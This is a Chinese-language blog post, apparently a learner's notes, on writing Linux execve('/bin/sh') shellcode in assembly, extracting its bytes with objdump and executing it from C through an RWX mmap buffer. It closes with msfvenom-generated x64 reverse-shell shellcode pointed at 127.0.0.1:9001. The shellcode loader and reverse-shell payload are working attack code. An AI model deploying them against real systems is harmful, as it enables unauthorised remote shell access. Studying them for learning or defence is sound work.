shellcode初探索——helloShellcode
我曾在一篇博客里写过 安全就是一群点错技能树的程序员——有些甚至不是
很遗憾,我就是后者,对于c的理解也不多,shellcode也是只存在与msfvenom
这次算是我第一次算是认真接触
ShellCode? 机器码?
shellcode的本质上一段机器码,通常由汇编代码编译而成的最终产物,例如我想获得一个拉起bashshell的机器码需要做的是先获得一个bashshell的程序,在汇编中的他的写法是这样的
section .data
bin_sh db '/bin/bash', 0x00 ; 字符串 "/bin/bash"
section .text
global _start
_start:
; 调用 execve("/bin/bash", ["/bin/bash"], NULL)
xor rax, rax ; 清除 rax
mov rdi, bin_sh ; rdi 指向 "/bin/bash"
push rax ; 在栈上压入 NULL (argv)
mov rsi, rsp ; rsi 指向 argv 数组
push rax ; 在栈上压入 NULL (envp)
mov rdx, rsp ; rdx 指向 envp 数组
mov al, 59 ; syscall 59 是 execve
syscall ; 触发系统调用
这段代码通过系统调用execve执行了/bin/sh,要获得他的机器码需要先编译为可执行文件,而汇编到可执行文件有两步
汇编
nasm -f elf64 execve_shell.asm -o execve_shell.o
链接
ld execve_shell.o -o execve_shell
得到一个可执行文件,我们可以尝试调用他看看效果
之后可以使用objdump
来获取16进制机器码
objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
截至到这里都很顺利,但我尝试将得到的shellcode写道c中编译后出现了zsh: segmentation fault (core dumped) ./a.out
我在这里卡了很久,后续又尝试32位的汇编,在编译时使用-m32
来获得兼容性汇编编译中的elf64
改为elf32
,另外在链接中添加elf_i386
section .text
global _start
_start:
xor eax, eax ; 清空 eax 寄存器
push eax ; 压入 0 (NULL)
push 0x68732f6e ; 压入 "/sh"
push 0x69622f2f ; 压入 "//bin"
mov ebx, esp ; ebx 指向栈中的 "/bin/sh"
push eax ; 压入 NULL 作为 argv 的结束
mov edx, esp ; edx 指向 NULL (envp)
push ebx ; 压入 "/bin/sh"
mov ecx, esp ; ecx 指向 "/bin/sh" (argv)
mov al, 0xb ; 系统调用号 11 (execve)
int 0x80 ; 发起系统调用
nasm -f elf32 execve_shell.asm -o execve_shell.o
ld -m elf_i386 execve_shell.o -o execve_shell
再导出机器码
❯ objdump -d ./test2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
载入c,编译运行
编译过后,存在于代码中的shellcode会被存放在程序的.rodata
也就是只读数据段中,也可以通过objdump
查看
❯ objdump -s -j .rodata a.out
a.out: 文件格式 elf32-i386
Contents of section .rodata:
2000 03000000 01000200 00000000 00000000 ................
2010 31c05068 6e2f7368 682f2f62 6989e350 1.Phn/shh//bi..P
2020 2f626989 e35089e2 5389e1b0 0bcd8000 /bi..P..S.......
linux
初探
上面写了不少归根结底shellcode的运行本质上是将一段机器码(汇编)存入内存,而后执行,到这里暂时停下对汇编的研究先关注“壳”,说起来简单其实有不少的坑
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
void (*shellcode_func)() = (void (*)())code;
shellcode_func();
}
这是我在网上找葫芦的时候看到的一个源码,简单拆解下他的main函数
printf("Shellcode Length: %d\n", strlen(code));
打印shellcode的长度,用strlen函数计算
void (*shellcode_func)() = (void (*)())code;
分两侧说void (*shellcode_func)()
这里用到了指针,他声明了一个函数指针shellcode_func
指向是一个void
的函数,另一侧的处理(void (*)())code;
其中void表示函数的返回类型,(*)
为函数指针的标记,()
表示函数参数为空,而最外层的括号则是为了确保类型转换的正确
最后一句
shellcode_func();
则是将转化为函数的shellcode进行执行。
看着非常完美,但是漏掉了一个重要的问题,这段函数所处的内存是否有执行权限。
再探
这是代码样例
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; // 32位执行 /bin/sh
int main() {
// 使用 mmap 分配可执行内存
void *exec = mmap(0, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
// 检查 mmap 是否成功
if (exec == MAP_FAILED) {
perror("mmap failed");
return 1;
}
// 复制 Shellcode 到 mmap 分配的内存
memcpy(exec, shellcode, sizeof(shellcode));
// 调用 Shellcode
((void(*)())exec)();
return 0;
}
编译
gcc -m32 -o shellcode filename.c
最早的代码直接在栈上存储并执行 Shellcode ,而这里的代码调用了mmap来分配内存与设置内存权限即PROT_READ | PROT_WRITE | PROT_EXEC
中的可读、可写、可执行
而后通过memcpy
复制到所分配的内存中
memcpy(目标,来源,字节数)
最后直接完成转换,赋值,调用
((void(*)())exec)();
msfvenom
既然他能在本地拉起shell,那就能反弹shell,可以尝试用msf生成一个shellcode
替换掉代码中的code即可
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
unsigned char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x23\x29\x7f\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// 使用 mmap 分配可执行内存
void *exec = mmap(0, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
// 检查 mmap 是否成功
if (exec == MAP_FAILED) {
perror("mmap failed");
return 1;
}
// 复制 Shellcode 到 mmap 分配的内存
memcpy(exec, shellcode, sizeof(shellcode));
// 调用 Shellcode
((void(*)())exec)();
return 0;
}
参考文献
感谢
- Hyperion-pwn-小小